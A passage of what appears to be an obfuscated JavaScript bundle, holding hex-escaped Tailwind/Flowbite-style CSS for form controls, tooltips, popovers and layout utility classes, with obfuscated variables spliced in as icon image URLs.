t:\x20none;\x0a\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20flex-shrink:\x200;\x0a\x20\x20height:\x201rem;\x0a\x20\x20width:\x201rem;\x0a\x20\x20color:\x20#1C64F2;\x0a\x20\x20background-color:\x20#fff;\x0a\x20\x20border-color:\x20#6B7280;\x0a\x20\x20border-width:\x201px;\x0a\x20\x20--tw-shadow:\x200\x200\x20#0000;\x0a}\x0a\x0a[type=\x27checkbox\x27]\x20{\x0a\x20\x20border-radius:\x200px;\x0a}\x0a\x0a[type=\x27radio\x27]\x20{\x0a\x20\x20border-radius:\x20100%;\x0a}\x0a\x0a[type=\x27checkbox\x27]:focus,[type=\x27radio\x27]:focus\x20{\x0a\x20\x20outline:\x202px\x20solid\x20transparent;\x0a\x20\x20outline-offset:\x202px;\x0a\x20\x20--tw-ring-inset:\x20var(--tw-empty,/*!*/\x20/*!*/);\x0a\x20\x20--tw-ring-offset-width:\x202px;\x0a\x20\x20--tw-ring-offset-color:\x20#fff;\x0a\x20\x20--tw-ring-color:\x20#1C64F2;\x0a\x20\x20--tw-ring-offset-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20var(--tw-ring-offset-width)\x20var(--tw-ring-offset-color);\x0a\x20\x20--tw-ring-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20calc(2px\x20+\x20var(--tw-ring-offset-width))\x20var(--tw-ring-color);\x0a\x20\x20box-shadow:\x20var(--tw-ring-offset-shadow),\x20var(--tw-ring-shadow),\x20var(--tw-shadow);\x0a}\x0a\x0a[type=\x27checkbox\x27]:checked,[type=\x27radio\x27]:checked,.dark\x20[type=\x27checkbox\x27]:checked,.dark\x20[type=\x27radio\x27]:checked\x20{\x0a\x20\x20border-color:\x20transparent;\x0a\x20\x20background-color:\x20currentColor;\x0a\x20\x20background-size:\x200.55em\x200.55em;\x0a\x20\x20background-position:\x20center;\x0a\x20\x20background-repeat:\x20no-repeat;\x0a}\x0a\x0a[type=\x27checkbox\x27]:checked\x20{\x0a\x20\x20background-image:\x20url(' + _0x6ce440 + ');\x0a\x20\x20background-repeat:\x20no-repeat;\x0a\x20\x20background-size:\x200.55em\x200.55em;\x0a\x20\x20-webkit-print-color-adjust:\x20exact;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20print-color-adjust:\x20exact;\x0a}\x0a\x0a[type=\x27radio\x27]:checked\x20{\x0a\x20\x20background-image:\x20url(' + _0x587c7b + ');\x0a\x20\x20background-size:\x201em\x201em;\x0a}\x0a\x0a.dark\x20[type=\x27radio\x27]:checked\x20{\x0a\x20\x20background-image:\x20url(' + _0x587c7b + ');\x0a\x20\x20background-size:\x201em\x201em;\x0a}\x0a\x0a[type=\x27checkbox\x27]:indeterminate\x20{\x0a\x20\x20background-image:\x20url(' + _0x6ce440 + ');\x0a\x20\x20background-color:\x20currentColor;\x0a\x20\x20border-color:\x20transparent;\x0a\x20\x20background-position:\x20center;\x0a\x20\x20background-repeat:\x20no-repeat;\x0a\x20\x20background-size:\x200.55em\x200.55em;\x0a\x20\x20-webkit-print-color-adjust:\x20exact;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20print-color-adjust:\x20exact;\x0a}\x0a\x0a[type=\x27checkbox\x27]:indeterminate:hover,[type=\x27checkbox\x27]:indeterminate:focus\x20{\x0a\x20\x20border-color:\x20transparent;\x0a\x20\x20background-color:\x20currentColor;\x0a}\x0a\x0a[type=\x27file\x27]\x20{\x0a\x20\x20background:\x20unset;\x0a\x20\x20border-color:\x20inherit;\x0a\x20\x20border-width:\x200;\x0a\x20\x20border-radius:\x200;\x0a\x20\x20padding:\x200;\x0a\x20\x20font-size:\x20unset;\x0a\x20\x20line-height:\x20inherit;\x0a}\x0a\x0a[type=\x27file\x27]:focus\x20{\x0a\x20\x20outline:\x201px\x20auto\x20inherit;\x0a}\x0a\x0ainput[type=file]::file-selector-button\x20{\x0a\x20\x20color:\x20white;\x0a\x20\x20background:\x20#1F2937;\x0a\x20\x20border:\x200;\x0a\x20\x20font-weight:\x20500;\x0a\x20\x20font-size:\x200.875rem;\x0a\x20\x20cursor:\x20pointer;\x0a\x20\x20padding-top:\x200.625rem;\x0a\x20\x20padding-bottom:\x200.625rem;\x0a\x20\x20padding-left:\x202rem;\x0a\x20\x20padding-right:\x201rem;\x0a\x20\x20margin-inline-start:\x20-1rem;\x0a\x20\x20margin-inline-end:\x201rem;\x0a}\x0a\x0ainput[type=file]::file-selector-button:hover\x20{\x0a\x20\x20background:\x20#374151;\x0a}\x0a\x0a.dark\x20input[type=file]::file-selector-button\x20{\x0a\x20\x20color:\x20white;\x0a\x20\x20background:\x20#4B5563;\x0a}\x0a\x0a.dark\x20input[type=file]::file-selector-button:hover\x20{\x0a\x20\x20background:\x20#6B7280;\x0a}\x0a\x0ainput[type=\x22range\x22]::-webkit-slider-thumb\x20{\x0a\x20\x20height:\x201.25rem;\x0a\x20\x20width:\x201.25rem;\x0a\x20\x20background:\x20#1C64F2;\x0a\x20\x20border-radius:\x209999px;\x0a\x20\x20border:\x200;\x0a\x20\x20appearance:\x20none;\x0a\x20\x20-moz-appearance:\x20none;\x0a\x20\x20-webkit-appearance:\x20none;\x0a\x20\x20cursor:\x20pointer;\x0a}\x0a\x0ainput[type=\x22range\x22]:disabled::-webkit-slider-thumb\x20{\x0a\x20\x20background:\x20#9CA3AF;\x0a}\x0a\x0a.dark\x20input[type=\x22range\x22]:disabled::-webkit-slider-thumb\x20{\x0a\x20\x20background:\x20#6B7280;\x0a}\x0a\x0ainput[type=\x22range\x22]:focus::-webkit-slider-thumb\x20{\x0a\x20\x20outline:\x202px\x20solid\x20transparent;\x0a\x20\x20outline-offset:\x202px;\x0a\x20\x20--tw-ring-offset-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20var(--tw-ring-offset-width)\x20var(--tw-ring-offset-color);\x0a\x20\x20--tw-ring-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20calc(4px\x20+\x20var(--tw-ring-offset-width))\x20var(--tw-ring-color);\x0a\x20\x20box-shadow:\x20var(--tw-ring-offset-shadow),\x20var(--tw-ring-shadow),\x20var(--tw-shadow,\x200\x200\x20#0000);\x0a\x20\x20--tw-ring-opacity:\x201px;\x0a\x20\x20--tw-ring-color:\x20rgb(164\x20202\x20254\x20/\x20var(--tw-ring-opacity));\x0a}\x0a\x0ainput[type=\x22range\x22]::-moz-range-thumb\x20{\x0a\x20\x20height:\x201.25rem;\x0a\x20\x20width:\x201.25rem;\x0a\x20\x20background:\x20#1C64F2;\x0a\x20\x20border-radius:\x209999px;\x0a\x20\x20border:\x200;\x0a\x20\x20appearance:\x20none;\x0a\x20\x20-moz-appearance:\x20none;\x0a\x20\x20-webkit-appearance:\x20none;\x0a\x20\x20cursor:\x20pointer;\x0a}\x0a\x0ainput[type=\x22range\x22]:disabled::-moz-range-thumb\x20{\x0a\x20\x20background:\x20#9CA3AF;\x0a}\x0a\x0a.dark\x20input[type=\x22range\x22]:disabled::-moz-range-thumb\x20{\x0a\x20\x20background:\x20#6B7280;\x0a}\x0a\x0ainput[type=\x22range\x22]::-moz-range-progress\x20{\x0a\x20\x20background:\x20#3F83F8;\x0a}\x0a\x0ainput[type=\x22range\x22]::-ms-fill-lower\x20{\x0a\x20\x20background:\x20#3F83F8;\x0a}\x0a\x0a.toggle-bg:after\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a\x20\x20position:\x20absolute;\x0a\x20\x20top:\x200.125rem;\x0a\x20\x20left:\x200.125rem;\x0a\x20\x20background:\x20white;\x0a\x20\x20border-color:\x20#D1D5DB;\x0a\x20\x20border-width:\x201px;\x0a\x20\x20border-radius:\x209999px;\x0a\x20\x20height:\x201.25rem;\x0a\x20\x20width:\x201.25rem;\x0a\x20\x20transition-property:\x20background-color,border-color,color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-backdrop-filter;\x0a\x20\x20transition-duration:\x20.15s;\x0a\x20\x20box-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20calc(0px\x20+\x20var(--tw-ring-offset-width))\x20var(--tw-ring-color);\x0a}\x0a\x0ainput:checked\x20+\x20.toggle-bg:after\x20{\x0a\x20\x20transform:\x20translateX(100%);;\x0a\x20\x20border-color:\x20white;\x0a}\x0a\x0ainput:checked\x20+\x20.toggle-bg\x20{\x0a\x20\x20background:\x20#1C64F2;\x0a\x20\x20border-color:\x20#1C64F2;\x0a}\x0a\x0a.tooltip-arrow,.tooltip-arrow:before\x20{\x0a\x20\x20position:\x20absolute;\x0a\x20\x20width:\x208px;\x0a\x20\x20height:\x208px;\x0a\x20\x20background:\x20inherit;\x0a}\x0a\x0a.tooltip-arrow\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a\x0a.tooltip-arrow:before\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a\x20\x20visibility:\x20visible;\x0a\x20\x20transform:\x20rotate(45deg);\x0a}\x0a\x0a[data-tooltip-style^=\x27light\x27]\x20+\x20.tooltip\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20border-style:\x20solid;\x0a\x20\x20border-color:\x20#e5e7eb;\x0a}\x0a\x0a[data-tooltip-style^=\x27light\x27]\x20+\x20.tooltip[data-popper-placement^=\x27top\x27]\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a[data-tooltip-style^=\x27light\x27]\x20+\x20.tooltip[data-popper-placement^=\x27right\x27]\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-tooltip-style^=\x27light\x27]\x20+\x20.tooltip[data-popper-placement^=\x27bottom\x27]\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-tooltip-style^=\x27light\x27]\x20+\x20.tooltip[data-popper-placement^=\x27left\x27]\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a.tooltip[data-popper-placement^=\x27top\x27]\x20>\x20.tooltip-arrow\x20{\x0a\x20\x20bottom:\x20-4px;\x0a}\x0a\x0a.tooltip[data-popper-placement^=\x27bottom\x27]\x20>\x20.tooltip-arrow\x20{\x0a\x20\x20top:\x20-4px;\x0a}\x0a\x0a.tooltip[data-popper-placement^=\x27left\x27]\x20>\x20.tooltip-arrow\x20{\x0a\x20\x20right:\x20-4px;\x0a}\x0a\x0a.tooltip[data-popper-placement^=\x27right\x27]\x20>\x20.tooltip-arrow\x20{\x0a\x20\x20left:\x20-4px;\x0a}\x0a\x0a.tooltip.invisible\x20>\x20.tooltip-arrow:before\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a\x0a[data-popper-arrow],[data-popper-arrow]:before\x20{\x0a\x20\x20position:\x20absolute;\x0a\x20\x20width:\x208px;\x0a\x20\x20height:\x208px;\x0a\x20\x20background:\x20inherit;\x0a}\x0a\x0a[data-popper-arrow]\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a\x0a[data-popper-arrow]:before\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a\x20\x20visibility:\x20visible;\x0a\x20\x20transform:\x20rotate(45deg);\x0a}\x0a\x0a[data-popper-arrow]:after\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a\x20\x20visibility:\x20visible;\x0a\x20\x20transform:\x20rotate(45deg);\x0a\x20\x20position:\x20absolute;\x0a\x20\x20width:\x209px;\x0a\x20\x20height:\x209px;\x0a\x20\x20background:\x20inherit;\x0a}\x0a\x0a[role=\x22tooltip\x22]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-style:\x20solid;\x0a\x20\x20border-color:\x20#e5e7eb;\x0a}\x0a\x0a.dark\x20[role=\x22tooltip\x22]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-style:\x20solid;\x0a\x20\x20border-color:\x20#4b5563;\x0a}\x0a\x0a[role=\x22tooltip\x22]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-style:\x20solid;\x0a\x20\x20border-color:\x20#e5e7eb;\x0a}\x0a\x0a.dark\x20[role=\x22tooltip\x22]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-style:\x20solid;\x0a\x20\x20border-color:\x20#4b5563;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27top\x27]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27top\x27]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27right\x27]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27right\x27]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-bottom-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27bottom\x27]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27bottom\x27]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-left-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27left\x27]\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27left\x27]\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20border-top-width:\x201px;\x0a\x20\x20border-right-width:\x201px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27top\x27]\x20>\x20[data-popper-arrow]\x20{\x0a\x20\x20bottom:\x20-5px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27bottom\x27]\x20>\x20[data-popper-arrow]\x20{\x0a\x20\x20top:\x20-5px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27left\x27]\x20>\x20[data-popper-arrow]\x20{\x0a\x20\x20right:\x20-5px;\x0a}\x0a\x0a[data-popover][role=\x22tooltip\x22][data-popper-placement^=\x27right\x27]\x20>\x20[data-popper-arrow]\x20{\x0a\x20\x20left:\x20-5px;\x0a}\x0a\x0a[role=\x22tooltip\x22].invisible\x20>\x20[data-popper-arrow]:before\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a\x0a[role=\x22tooltip\x22].invisible\x20>\x20[data-popper-arrow]:after\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a\x0a*,\x20::before,\x20::after\x20{\x0a\x20\x20--tw-border-spacing-x:\x200;\x0a\x20\x20--tw-border-spacing-y:\x200;\x0a\x20\x20--tw-translate-x:\x200;\x0a\x20\x20--tw-translate-y:\x200;\x0a\x20\x20--tw-rotate:\x200;\x0a\x20\x20--tw-skew-x:\x200;\x0a\x20\x20--tw-skew-y:\x200;\x0a\x20\x20--tw-scale-x:\x201;\x0a\x20\x20--tw-scale-y:\x201;\x0a\x20\x20--tw-pan-x:\x20\x20;\x0a\x20\x20--tw-pan-y:\x20\x20;\x0a\x20\x20--tw-pinch-zoom:\x20\x20;\x0a\x20\x20--tw-scroll-snap-strictness:\x20proximity;\x0a\x20\x20--tw-gradient-from-position:\x20\x20;\x0a\x20\x20--tw-gradient-via-position:\x20\x20;\x0a\x20\x20--tw-gradient-to-position:\x20\x20;\x0a\x20\x20--tw-ordinal:\x20\x20;\x0a\x20\x20--tw-slashed-zero:\x20\x20;\x0a\x20\x20--tw-numeric-figure:\x20\x20;\x0a\x20\x20--tw-numeric-spacing:\x20\x20;\x0a\x20\x20--tw-numeric-fraction:\x20\x20;\x0a\x20\x20--tw-ring-inset:\x20\x20;\x0a\x20\x20--tw-ring-offset-width:\x200px;\x0a\x20\x20--tw-ring-offset-color:\x20#fff;\x0a\x20\x20--tw-ring-color:\x20rgb(63\x20131\x20248\x20/\x200.5);\x0a\x20\x20--tw-ring-offset-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-ring-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-shadow-colored:\x200\x200\x20#0000;\x0a\x20\x20--tw-blur:\x20\x20;\x0a\x20\x20--tw-brightness:\x20\x20;\x0a\x20\x20--tw-contrast:\x20\x20;\x0a\x20\x20--tw-grayscale:\x20\x20;\x0a\x20\x20--tw-hue-rotate:\x20\x20;\x0a\x20\x20--tw-invert:\x20\x20;\x0a\x20\x20--tw-saturate:\x20\x20;\x0a\x20\x20--tw-sepia:\x20\x20;\x0a\x20\x20--tw-drop-shadow:\x20\x20;\x0a\x20\x20--tw-backdrop-blur:\x20\x20;\x0a\x20\x20--tw-backdrop-brightness:\x20\x20;\x0a\x20\x20--tw-backdrop-contrast:\x20\x20;\x0a\x20\x20--tw-backdrop-grayscale:\x20\x20;\x0a\x20\x20--tw-backdrop-hue-rotate:\x20\x20;\x0a\x20\x20--tw-backdrop-invert:\x20\x20;\x0a\x20\x20--tw-backdrop-opacity:\x20\x20;\x0a\x20\x20--tw-backdrop-saturate:\x20\x20;\x0a\x20\x20--tw-backdrop-sepia:\x20\x20;\x0a}\x0a\x0a::backdrop\x20{\x0a\x20\x20--tw-border-spacing-x:\x200;\x0a\x20\x20--tw-border-spacing-y:\x200;\x0a\x20\x20--tw-translate-x:\x200;\x0a\x20\x20--tw-translate-y:\x200;\x0a\x20\x20--tw-rotate:\x200;\x0a\x20\x20--tw-skew-x:\x200;\x0a\x20\x20--tw-skew-y:\x200;\x0a\x20\x20--tw-scale-x:\x201;\x0a\x20\x20--tw-scale-y:\x201;\x0a\x20\x20--tw-pan-x:\x20\x20;\x0a\x20\x20--tw-pan-y:\x20\x20;\x0a\x20\x20--tw-pinch-zoom:\x20\x20;\x0a\x20\x20--tw-scroll-snap-strictness:\x20proximity;\x0a\x20\x20--tw-gradient-from-position:\x20\x20;\x0a\x20\x20--tw-gradient-via-position:\x20\x20;\x0a\x20\x20--tw-gradient-to-position:\x20\x20;\x0a\x20\x20--tw-ordinal:\x20\x20;\x0a\x20\x20--tw-slashed-zero:\x20\x20;\x0a\x20\x20--tw-numeric-figure:\x20\x20;\x0a\x20\x20--tw-numeric-spacing:\x20\x20;\x0a\x20\x20--tw-numeric-fraction:\x20\x20;\x0a\x20\x20--tw-ring-inset:\x20\x20;\x0a\x20\x20--tw-ring-offset-width:\x200px;\x0a\x20\x20--tw-ring-offset-color:\x20#fff;\x0a\x20\x20--tw-ring-color:\x20rgb(63\x20131\x20248\x20/\x200.5);\x0a\x20\x20--tw-ring-offset-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-ring-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-shadow:\x200\x200\x20#0000;\x0a\x20\x20--tw-shadow-colored:\x200\x200\x20#0000;\x0a\x20\x20--tw-blur:\x20\x20;\x0a\x20\x20--tw-brightness:\x20\x20;\x0a\x20\x20--tw-contrast:\x20\x20;\x0a\x20\x20--tw-grayscale:\x20\x20;\x0a\x20\x20--tw-hue-rotate:\x20\x20;\x0a\x20\x20--tw-invert:\x20\x20;\x0a\x20\x20--tw-saturate:\x20\x20;\x0a\x20\x20--tw-sepia:\x20\x20;\x0a\x20\x20--tw-drop-shadow:\x20\x20;\x0a\x20\x20--tw-backdrop-blur:\x20\x20;\x0a\x20\x20--tw-backdrop-brightness:\x20\x20;\x0a\x20\x20--tw-backdrop-contrast:\x20\x20;\x0a\x20\x20--tw-backdrop-grayscale:\x20\x20;\x0a\x20\x20--tw-backdrop-hue-rotate:\x20\x20;\x0a\x20\x20--tw-backdrop-invert:\x20\x20;\x0a\x20\x20--tw-backdrop-opacity:\x20\x20;\x0a\x20\x20--tw-backdrop-saturate:\x20\x20;\x0a\x20\x20--tw-backdrop-sepia:\x20\x20;\x0a}\x0a.container\x20{\x0a\x20\x20width:\x20100%;\x0a}\x0a@media\x20(min-width:\x20640px)\x20{\x0a\x0a\x20\x20.container\x20{\x0a\x20\x20\x20\x20max-width:\x20640px;\x0a\x20\x20}\x0a}\x0a@media\x20(min-width:\x20768px)\x20{\x0a\x0a\x20\x20.container\x20{\x0a\x20\x20\x20\x20max-width:\x20768px;\x0a\x20\x20}\x0a}\x0a@media\x20(min-width:\x201024px)\x20{\x0a\x0a\x20\x20.container\x20{\x0a\x20\x20\x20\x20max-width:\x201024px;\x0a\x20\x20}\x0a}\x0a@media\x20(min-width:\x201280px)\x20{\x0a\x0a\x20\x20.container\x20{\x0a\x20\x20\x20\x20max-width:\x201280px;\x0a\x20\x20}\x0a}\x0a@media\x20(min-width:\x201536px)\x20{\x0a\x0a\x20\x20.container\x20{\x0a\x20\x20\x20\x20max-width:\x201536px;\x0a\x20\x20}\x0a}\x0a.visible\x20{\x0a\x20\x20visibility:\x20visible;\x0a}\x0a.invisible\x20{\x0a\x20\x20visibility:\x20hidden;\x0a}\x0a.collapse\x20{\x0a\x20\x20visibility:\x20collapse;\x0a}\x0a.static\x20{\x0a\x20\x20position:\x20static;\x0a}\x0a.fixed\x20{\x0a\x20\x20position:\x20fixed;\x0a}\x0a.absolute\x20{\x0a\x20\x20position:\x20absolute;\x0a}\x0a.relative\x20{\x0a\x20\x20position:\x20relative;\x0a}\x0a.inset-0\x20{\x0a\x20\x20inset:\x200px;\x0a}\x0a.bottom-0\x20{\x0a\x20\x20bottom:\x200px;\x0a}\x0a.bottom-\x5c[60px\x5c]\x20{\x0a\x20\x20bottom:\x2060px;\x0a}\x0a.left-0\x20{\x0a\x20\x20left:\x200px;\x0a}\x0a.right-0\x20{\x0a\x20\x20right:\x200px;\x0a}\x0a.top-0\x20{\x0a\x20\x20top:\x200px;\x0a}\x0a.z-10\x20{\x0a\x20\x20z-index:\x2010;\x0a}\x0a.z-20\x20{\x0a\x20\x20z-index:\x2020;\x0a}\x0a.z-30\x20{\x0a\x20\x20z-index:\x2030;\x0a}\x0a.z-40\x20{\x0a\x20\x20z-index:\x2040;\x0a}\x0a.z-50\x20{\x0a\x20\x20z-index:\x2050;\x0a}\x0a.mb-1\x20{\x0a\x20\x20margin-bottom:\x200.25rem;\x0a}\x0a.mb-2\x20{\x0a\x20\x20margin-bottom:\x200.5rem;\x0a}\x0a.ml-2\x20{\x0a\x20\x20margin-left:\x200.5rem;\x0a}\x0a.ml-2\x5c.5\x20{\x0a\x20\x20margin-left:\x200.625rem;\x0a}\x0a.mt-2\x20{\x0a\x20\x20margin-top:\x200.5rem;\x0a}\x0a.block\x20{\x0a\x20\x20display:\x20block;\x0a}\x0a.inline-block\x20{\x0a\x20\x20display:\x20inline-block;\x0a}\x0a.inline\x20{\x0a\x20\x20display:\x20inline;\x0a}\x0a.flex\x20{\x0a\x20\x20display:\x20flex;\x0a}\x0a.inline-flex\x20{\x0a\x20\x20display:\x20inline-flex;\x0a}\x0a.table\x20{\x0a\x20\x20display:\x20table;\x0a}\x0a.grid\x20{\x0a\x20\x20display:\x20grid;\x0a}\x0a.hidden\x20{\x0a\x20\x20display:\x20none;\x0a}\x0a.h-2\x20{\x0a\x20\x20height:\x200.5rem;\x0a}\x0a.h-2\x5c.5\x20{\x0a\x20\x20height:\x200.625rem;\x0a}\x0a.h-4\x20{\x0a\x20\x20height:\x201rem;\x0a}\x0a.h-6\x20{\x0a\x20\x20height:\x201.5rem;\x0a}\x0a.h-screen\x20{\x0a\x20\x20height:\x20100vh;\x0a}\x0a.w-1\x5c/2\x20{\x0a\x20\x20width:\x2050%;\x0a}\x0a.w-2\x20{\x0a\x20\x20width:\x200.5rem;\x0a}\x0a.w-2\x5c.5\x20{\x0a\x20\x20width:\x200.625rem;\x0a}\x0a.w-4\x20{\x0a\x20\x20width:\x201rem;\x0a}\x0a.w-44\x20{\x0a\x20\x20width:\x2011rem;\x0a}\x0a.w-64\x20{\x0a\x20\x20width:\x2016rem;\x0a}\x0a.w-full\x20{\x0a\x20\x20width:\x20100%;\x0a}\x0a.w-screen\x20{\x0a\x20\x20width:\x20100vw;\x0a}\x0a.max-w-screen-md\x20{\x0a\x20\x20max-width:\x20768px;\x0a}\x0a.flex-1\x20{\x0a\x20\x20flex:\x201\x201\x200%;\x0a}\x0a.flex-shrink\x20{\x0a\x20\x20flex-shrink:\x201;\x0a}\x0a.flex-grow\x20{\x0a\x20\x20flex-grow:\x201;\x0a}\x0a.-translate-x-full\x20{\x0a\x20\x20--tw-translate-x:\x20-100%;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.-translate-y-full\x20{\x0a\x20\x20--tw-translate-y:\x20-100%;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.translate-x-0\x20{\x0a\x20\x20--tw-translate-x:\x200px;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.translate-x-full\x20{\x0a\x20\x20--tw-translate-x:\x20100%;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.translate-y-full\x20{\x0a\x20\x20--tw-translate-y:\x20100%;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.rotate-180\x20{\x0a\x20\x20--tw-rotate:\x20180deg;\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.transform\x20{\x0a\x20\x20transform:\x20translate(var(--tw-translate-x),\x20var(--tw-translate-y))\x20rotate(var(--tw-rotate))\x20skewX(var(--tw-skew-x))\x20skewY(var(--tw-skew-y))\x20scaleX(var(--tw-scale-x))\x20scaleY(var(--tw-scale-y));\x0a}\x0a.transform-none\x20{\x0a\x20\x20transform:\x20none;\x0a}\x0a.cursor-default\x20{\x0a\x20\x20cursor:\x20default;\x0a}\x0a.cursor-not-allowed\x20{\x0a\x20\x20cursor:\x20not-allowed;\x0a}\x0a.cursor-pointer\x20{\x0a\x20\x20cursor:\x20pointer;\x0a}\x0a.resize\x20{\x0a\x20\x20resize:\x20both;\x0a}\x0a.grid-cols-4\x20{\x0a\x20\x20grid-template-columns:\x20repeat(4,\x20minmax(0,\x201fr));\x0a}\x0a.grid-cols-7\x20{\x0a\x20\x20grid-template-columns:\x20repeat(7,\x20minmax(0,\x201fr));\x0a}\x0a.items-start\x20{\x0a\x20\x20align-items:\x20flex-start;\x0a}\x0a.items-end\x20{\x0a\x20\x20align-items:\x20flex-end;\x0a}\x0a.items-center\x20{\x0a\x20\x20align-items:\x20center;\x0a}\x0a.justify-start\x20{\x0a\x20\x20justify-content:\x20flex-start;\x0a}\x0a.justify-end\x20{\x0a\x20\x20justify-content:\x20flex-end;\x0a}\x0a.justify-center\x20{\x0a\x20\x20justify-content:\x20center;\x0a}\x0a.justify-between\x20{\x0a\x20\x20justify-content:\x20space-between;\x0a}\x0a.space-x-2\x20>\x20:not([hidden])\x20~\x20:not([hidden])\x20{\x0a\x20\x20--tw-space-x-reverse:\x200;\x0a\x20\x20margin-right:\x20calc(0.5rem\x20*\x20var(--tw-space-x-reverse));\x0a\x20\x20margin-left:\x20calc(0.5rem\x20*\x20calc(1\x20-\x20var(--tw-space-x-reverse)));\x0a}\x0a.space-x-4\x20>\x20:not([hidden])\x20~\x20:not([hidden])\x20{\x0a\x20\x20--tw-space-x-reverse:\x200;\x0a\x20\x20margin-right:\x20calc(1rem\x20*\x20var(--tw-space-x-reverse));\x0a\x20\x20margin-left:\x20calc(1rem\x20*\x20calc(1\x20-\x20var(--tw-space-x-reverse)));\x0a}\x0a.divide-y\x20>\x20:not([hidden])\x20~\x20:not([hidden])\x20{\x0a\x20\x20--tw-divide-y-re